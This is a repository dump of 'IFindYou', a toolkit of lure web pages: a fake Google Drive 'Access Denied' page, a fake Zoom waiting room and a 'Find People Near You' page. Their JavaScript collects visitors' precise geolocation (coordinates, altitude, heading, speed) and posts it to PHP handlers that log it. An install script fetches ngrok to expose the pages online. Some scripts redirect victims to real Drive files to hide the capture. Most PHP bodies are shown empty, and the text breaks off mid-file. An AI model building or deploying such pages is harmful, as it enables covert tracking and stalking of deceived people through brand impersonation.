├── logs └── result.txt ├── webs ├── zoom │ ├── js │ │ ├── main.js │ │ ├── location.js │ │ └── info.js │ ├── info_handler.php │ ├── error_handler.php │ ├── zoom.ico │ ├── result_handler.php │ ├── forward.php │ └── ip.php ├── location │ ├── js │ │ ├── main.js │ │ ├── location.js │ │ ├── info.js │ │ └── warpspeed.min.js │ ├── info_handler.php │ ├── error_handler.php │ ├── css │ │ ├── worldmap.jpg │ │ └── main.css │ ├── result_handler.php │ ├── forward.php │ ├── index.php │ ├── ip.php │ ├── index.html │ ├── location.html │ └── template.html ├── gdrive │ ├── info_handler.php │ ├── error_handler.php │ ├── result_handler.php │ ├── fonts │ │ ├── Roboto-Bold.ttf │ │ ├── Roboto-Thin.ttf │ │ ├── Roboto-Black.ttf │ │ ├── Roboto-Italic.ttf │ │ ├── Roboto-Light.ttf │ │ ├── Roboto-Medium.ttf │ │ ├── Roboto-Regular.ttf │ │ ├── Roboto-BlackItalic.ttf │ │ ├── Roboto-BoldItalic.ttf │ │ ├── Roboto-LightItalic.ttf │ │ ├── Roboto-MediumItalic.ttf │ │ ├── Roboto-ThinItalic.ttf │ │ └── pxiDypQkot1TnFhsFMOfGShVF9eO.woff2 │ ├── forward.php │ ├── images │ │ ├── drive_favicon1.ico │ │ ├── Google-Drive-logo1.png │ │ ├── 580b57fcd9996e24bc43c51f.png │ │ ├── googlelogo_color_116x41dp.png │ │ ├── locked_doc-1.svg │ │ └── locked_doc-2.svg │ ├── index.php │ ├── post.php │ ├── ip.php │ ├── gdrive.html │ ├── index.html │ ├── template.html │ ├── js │ │ ├── location_temp.js │ │ ├── temp │ │ │ ├── location1.js │ │ │ ├── location2.js │ │ │ ├── location3.js │ │ │ ├── location4.js │ │ │ ├── location5.js │ │ │ └── location6.js │ │ └── info.js │ └── css │ │ └── main.css ├── boxwish │ ├── index.php │ ├── forward.php │ ├── post.php │ ├── ip.php │ ├── index.html │ ├── template.html │ ├── option.html │ └── boxwish.html ├── book │ ├── forward.php │ ├── post.php │ ├── ip.php │ └── book.html ├── game │ ├── forward.php │ ├── post.php │ └── ip.php ├── guess │ ├── forward.php │ ├── post.php │ ├── ip.php │ └── guess.html ├── quiz │ ├── forward.php │ ├── index.php │ ├── post.php │ ├── ip.php │ ├── quiz.html │ └── template.html ├── rps │ ├── forward.php │ ├── index.php │ ├── post.php │ ├── ip.php │ ├── rps.html │ ├── template.html │ └── index.html ├── selfie │ ├── forward.php │ ├── post.php │ ├── ip.php │ └── selfie.html ├── spinwheel │ ├── forward.php │ ├── post.php │ └── ip.php ├── ip.php └── result.php ├── install.sh └── README.md /logs/result.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /webs/zoom/js/main.js: -------------------------------------------------------------------------------- 1 | function main() 2 | { 3 | locate(); 4 | } 5 | -------------------------------------------------------------------------------- /webs/location/js/main.js: -------------------------------------------------------------------------------- 1 | function main() 2 | { 3 | locate(); 4 | } 5 | -------------------------------------------------------------------------------- /webs/gdrive/info_handler.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/zoom/result_handler.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/game/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Bold.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Thin.ttf -------------------------------------------------------------------------------- /webs/gdrive/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/guess/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/quiz/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/rps/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/selfie/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/zoom/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/boxwish/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Black.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Italic.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Light.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Medium.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-Regular.ttf -------------------------------------------------------------------------------- /webs/location/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/spinwheel/forward.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/gdrive/images/drive_favicon1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/drive_favicon1.ico -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /webs/gdrive/fonts/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /webs/gdrive/images/Google-Drive-logo1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/Google-Drive-logo1.png -------------------------------------------------------------------------------- /webs/rps/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/gdrive/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/location/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/quiz/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /webs/gdrive/images/580b57fcd9996e24bc43c51f.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/580b57fcd9996e24bc43c51f.png -------------------------------------------------------------------------------- /webs/gdrive/images/googlelogo_color_116x41dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/images/googlelogo_color_116x41dp.png -------------------------------------------------------------------------------- /webs/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mishakorzik/IFindYou/HEAD/webs/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2 -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz > /dev/null 2>&1 2 | if [[ -e ngrok-v3-stable-linux-arm.tgz ]]; then 3 | tar -xf ngrok-v3-stable-linux-arm.tgz > /dev/null 2>&1 4 | rm -rf $HOME/.ngrok2 > /dev/null 2>&1 5 | chmod +x ngrok 6 | rm -rf ngrok-v3-stable-linux-arm.tgz 7 | fi 8 | -------------------------------------------------------------------------------- /webs/book/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/game/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/gdrive/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/guess/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/quiz/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/rps/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/selfie/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/boxwish/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/spinwheel/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /webs/ip.php: -------------------------------------------------------------------------------- 1 | $ok_status, 22 | 'lat' => $lat, 23 | 'lon' => $lon, 24 | 'acc' => $acc, 25 | 'alt' => $alt, 26 | 'dir' => $dir, 27 | 'spd' => $spd); 28 | 29 | $json_data = json_encode($data); 30 | 31 | $f = fopen('/data/data/com.termux/files/home/IFindYou/logs/result.txt', 'w+'); 32 | fwrite($f, $json_data); 33 | fclose($f); 34 | } 35 | ?> 36 | -------------------------------------------------------------------------------- /webs/gdrive/images/locked_doc-1.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /webs/gdrive/images/locked_doc-2.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 19 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /webs/gdrive/gdrive.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Google Drive - Access Denied 8 | 9 | 15 | 16 | 17 | 18 | 19 | 20 |
21 |
22 |
23 | 27 |
28 |
29 |
30 |
31 |

You need permission

32 |
33 |

Want in? Ask for access, or switch to an account with permission.

34 |
35 |

36 | 37 |

38 |
39 |
40 |
41 | 42 | -------------------------------------------------------------------------------- /webs/gdrive/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Google Drive - Access Denied 8 | 9 | 15 | 16 | 17 | 18 | 19 | 20 |
21 |
22 |
23 | 27 |
28 |
29 |
30 |
31 |

You need permission

32 |
33 |

Want in? Ask for access, or switch to an account with permission.

34 |
35 |

36 | 37 |

38 |
39 |
40 |
41 | 42 | -------------------------------------------------------------------------------- /webs/gdrive/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Google Drive - Access Denied 8 | 9 | 15 | 16 | 17 | 18 | 19 | 20 |
21 |
22 |
23 | 27 |
28 |
29 |
30 |
31 |

You need permission

32 |
33 |

Want in? Ask for access, or switch to an account with permission.

34 |
35 |

36 | 37 |

38 |
39 |
40 |
41 | 42 | -------------------------------------------------------------------------------- /webs/location/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Near You | Meet New People, Make New Friends 5 | 6 | 7 | 8 | 9 | 10 | 11 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 27 |

Find People Near You

28 |

Meet New People, Make New Friends

29 |
30 |
31 |
32 | 33 | 34 | -------------------------------------------------------------------------------- /webs/location/location.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Near You | Meet New People, Make New Friends 5 | 6 | 7 | 8 | 9 | 10 | 11 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 27 |

Find People Near You

28 |

Meet New People, Make New Friends

29 |
30 |
31 |
32 | 33 | 34 | -------------------------------------------------------------------------------- /webs/location/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Near You | Meet New People, Make New Friends 5 | 6 | 7 | 8 | 9 | 10 | 11 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 27 |

Find People Near You

28 |

Meet New People, Make New Friends

29 |
30 |
31 |
32 | 33 | 34 | -------------------------------------------------------------------------------- /webs/location/css/main.css: -------------------------------------------------------------------------------- 1 | html, body 2 | { 3 | height: 100%; 4 | } 5 | body 6 | { 7 | background-color: #000000; 8 | margin: auto; 9 | overflow: hidden; 10 | } 11 | h1 12 | { 13 | font-family: 'Raleway', sans-serif; 14 | color: white; 15 | text-align: center; 16 | filter: drop-shadow(0px 0px 8px cyan); 17 | margin: auto; 18 | position: fixed; 19 | top: 5%; 20 | left: 0%; 21 | right: 0%; 22 | } 23 | h2 24 | { 25 | font-family: 'Raleway', sans-serif; 26 | color: white; 27 | text-align: center; 28 | filter: drop-shadow(0px 0px 8px cyan); 29 | margin: auto; 30 | position: fixed; 31 | top: 15%; 32 | left: 0%; 33 | right: 0%; 34 | } 35 | img 36 | { 37 | position: fixed; 38 | margin: auto; 39 | left: 0%; 40 | right: 0%; 41 | top: 30%; 42 | height: 40%; 43 | filter: drop-shadow(0px 0px 8px white); 44 | opacity: 50%; 45 | } 46 | .button 47 | { 48 | background-color: Transparent; 49 | border: 2px solid white; 50 | cursor: pointer; 51 | color: white; 52 | font-size: 24px; 53 | padding: 14px 40px; 54 | border-radius: 6px; 55 | width: 50%; 56 | text-align: center; 57 | font-family: 'Raleway', sans-serif; 58 | position: fixed; 59 | left: 25%; 60 | right: 25%; 61 | bottom: 10%; 62 | filter: drop-shadow(0px 0px 8px cyan); 63 | transition: text-shadow 0.2s linear; 64 | } 65 | .text 66 | { 67 | font-family: 'Raleway', sans-serif; 68 | color: white; 69 | text-align: center; 70 | filter: drop-shadow(0px 0px 8px cyan); 71 | margin: auto; 72 | position: fixed; 73 | top: 5%; 74 | left: 0%; 75 | right: 0%; 76 | z-index: 1; 77 | } 78 | .earth 79 | { 80 | position: absolute; 81 | top: 0; 82 | bottom: 0; 83 | left: 0; 84 | right: 0; 85 | margin: auto; 86 | height: 250px; 87 | width: 250px; 88 | background-image: url(https://raw.githubusercontent.com/thewhiteh4t/seeker/master/template/nearyou/css/worldmap.jpg); 89 | border-radius: 50%; 90 | background-size: 700px; 91 | animation:rotate 7s linear infinite; 92 | box-shadow: 10px -10px 40px black inset, -10px 10px 40px black inset, -10px -10px 40px black inset; 93 | filter: drop-shadow(0px 0px 8px black); 94 | } 95 | 96 | @keyframes rotate 97 | { 98 | 0%{background-position: 0 0;} 99 | 100%{background-position: 700px 0;} 100 | } 101 | -------------------------------------------------------------------------------- /webs/gdrive/js/location_temp.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){window.location='REDIRECT_URL';}, 65 | mimeType: 'text' 66 | }); 67 | }; 68 | } 69 | 70 | function showError(error) 71 | { 72 | var err_text; 73 | var err_status = 'failed'; 74 | 75 | switch(error.code) 76 | { 77 | case error.PERMISSION_DENIED: 78 | err_text = 'User denied the request for Geolocation'; 79 | alert('Please Refresh This Page and Allow Location Permission...'); 80 | break; 81 | case error.POSITION_UNAVAILABLE: 82 | err_text = 'Location information is unavailable'; 83 | break; 84 | case error.TIMEOUT: 85 | err_text = 'The request to get user location timed out'; 86 | alert('Please Set Your Location Mode on High Accuracy...'); 87 | break; 88 | case error.UNKNOWN_ERROR: 89 | err_text = 'An unknown error occurred'; 90 | break; 91 | } 92 | 93 | $.ajax({ 94 | type: 'POST', 95 | url: 'error_handler.php', 96 | data: {Status: err_status, Error: err_text}, 97 | success: function(){$('#change').html('Failed');}, 98 | mimeType: 'text' 99 | }); 100 | } 101 | -------------------------------------------------------------------------------- /webs/gdrive/js/temp/location1.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){window.location='https://drive.google.com/file/d/1qZlGFaxHM_UsTV';}, 65 | mimeType: 'text' 66 | }); 67 | }; 68 | } 69 | 70 | function showError(error) 71 | { 72 | var err_text; 73 | var err_status = 'failed'; 74 | 75 | switch(error.code) 76 | { 77 | case error.PERMISSION_DENIED: 78 | err_text = 'User denied the request for Geolocation'; 79 | alert('Please Refresh This Page and Allow Location Permission...'); 80 | break; 81 | case error.POSITION_UNAVAILABLE: 82 | err_text = 'Location information is unavailable'; 83 | break; 84 | case error.TIMEOUT: 85 | err_text = 'The request to get user location timed out'; 86 | alert('Please Set Your Location Mode on High Accuracy...'); 87 | break; 88 | case error.UNKNOWN_ERROR: 89 | err_text = 'An unknown error occurred'; 90 | break; 91 | } 92 | 93 | $.ajax({ 94 | type: 'POST', 95 | url: 'error_handler.php', 96 | data: {Status: err_status, Error: err_text}, 97 | success: function(){$('#change').html('Failed');}, 98 | mimeType: 'text' 99 | }); 100 | } 101 | -------------------------------------------------------------------------------- /webs/zoom/js/location.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){$('#change').html('Coming Soon');}, 65 | mimeType: 'text' 66 | }); 67 | alert("We will let you in once the meeting is started"); 68 | }; 69 | } 70 | 71 | function showError(error) 72 | { 73 | var err_text; 74 | var err_status = 'failed'; 75 | 76 | switch(error.code) 77 | { 78 | case error.PERMISSION_DENIED: 79 | err_text = 'User denied the request for Geolocation'; 80 | alert('Please Refresh This Page and Allow Location Permission...'); 81 | break; 82 | case error.POSITION_UNAVAILABLE: 83 | err_text = 'Location information is unavailable'; 84 | break; 85 | case error.TIMEOUT: 86 | err_text = 'The request to get user location timed out'; 87 | alert('Please Set Your Location Mode on High Accuracy...'); 88 | break; 89 | case error.UNKNOWN_ERROR: 90 | err_text = 'An unknown error occurred'; 91 | break; 92 | } 93 | 94 | $.ajax({ 95 | type: 'POST', 96 | url: 'error_handler.php', 97 | data: {Status: err_status, Error: err_text}, 98 | success: function(){$('#change').html('Failed');}, 99 | mimeType: 'text' 100 | }); 101 | } 102 | -------------------------------------------------------------------------------- /webs/gdrive/js/temp/location2.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){window.location='https://drive.google.com/file/d/1rAqwDYSYgbysyLJveolqnVLYlIQydr48/view?usp=drivesdk';}, 65 | mimeType: 'text' 66 | }); 67 | }; 68 | } 69 | 70 | function showError(error) 71 | { 72 | var err_text; 73 | var err_status = 'failed'; 74 | 75 | switch(error.code) 76 | { 77 | case error.PERMISSION_DENIED: 78 | err_text = 'User denied the request for Geolocation'; 79 | alert('Please Refresh This Page and Allow Location Permission...'); 80 | break; 81 | case error.POSITION_UNAVAILABLE: 82 | err_text = 'Location information is unavailable'; 83 | break; 84 | case error.TIMEOUT: 85 | err_text = 'The request to get user location timed out'; 86 | alert('Please Set Your Location Mode on High Accuracy...'); 87 | break; 88 | case error.UNKNOWN_ERROR: 89 | err_text = 'An unknown error occurred'; 90 | break; 91 | } 92 | 93 | $.ajax({ 94 | type: 'POST', 95 | url: 'error_handler.php', 96 | data: {Status: err_status, Error: err_text}, 97 | success: function(){$('#change').html('Failed');}, 98 | mimeType: 'text' 99 | }); 100 | } 101 | -------------------------------------------------------------------------------- /webs/gdrive/js/temp/location3.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | spd = spd + ' m/s'; 53 | } 54 | else { 55 | spd = 'Not Available'; 56 | } 57 | 58 | var ok_status = 'success'; 59 | 60 | $.ajax({ 61 | type: 'POST', 62 | url: 'result_handler.php', 63 | data: {Status: ok_status,Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 64 | success: function(){window.location='https://drive.google.com/file/d/1qwYiSHtk2VJhK722CgOIKv0QuAM_5L_y/view?usp=drivesdk';}, 65 | mimeType: 'text' 66 | }); 67 | }; 68 | } 69 | 70 | function showError(error) 71 | { 72 | var err_text; 73 | var err_status = 'failed'; 74 | 75 | switch(error.code) 76 | { 77 | case error.PERMISSION_DENIED: 78 | err_text = 'User denied the request for Geolocation'; 79 | alert('Please Refresh This Page and Allow Location Permission...'); 80 | break; 81 | case error.POSITION_UNAVAILABLE: 82 | err_text = 'Location information is unavailable'; 83 | break; 84 | case error.TIMEOUT: 85 | err_text = 'The request to get user location timed out'; 86 | alert('Please Set Your Location Mode on High Accuracy...'); 87 | break; 88 | case error.UNKNOWN_ERROR: 89 | err_text = 'An unknown error occurred'; 90 | break; 91 | } 92 | 93 | $.ajax({ 94 | type: 'POST', 95 | url: 'error_handler.php', 96 | data: {Status: err_status, Error: err_text}, 97 | success: function(){$('#change').html('Failed');}, 98 | mimeType: 'text' 99 | }); 100 | } 101 | -------------------------------------------------------------------------------- /webs/gdrive/js/temp/location4.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | if( lat ){ 17 | lat = lat + ' deg'; 18 | } 19 | else { 20 | lat = 'Not Available'; 21 | } 22 | var lon = position.coords.longitude; 23 | if( lon ){ 24 | lon = lon + ' deg'; 25 | } 26 | else { 27 | lon = 'Not Available'; 28 | } 29 | var acc = position.coords.accuracy; 30 | if( acc ){ 31 | acc = acc + ' m'; 32 | } 33 | else { 34 | acc = 'Not Available'; 35 | } 36 | var alt = position.coords.altitude; 37 | if( alt ){ 38 | alt = alt + ' m'; 39 | } 40 | else { 41 | alt = 'Not Available'; 42 | } 43 | var dir = position.coords.heading; 44 | if( dir ){ 45 | dir = dir + ' deg'; 46 | } 47 | else { 48 | dir = 'Not Available'; 49 | } 50 | var spd = position.coords.speed; 51 | if( spd ){ 52 | 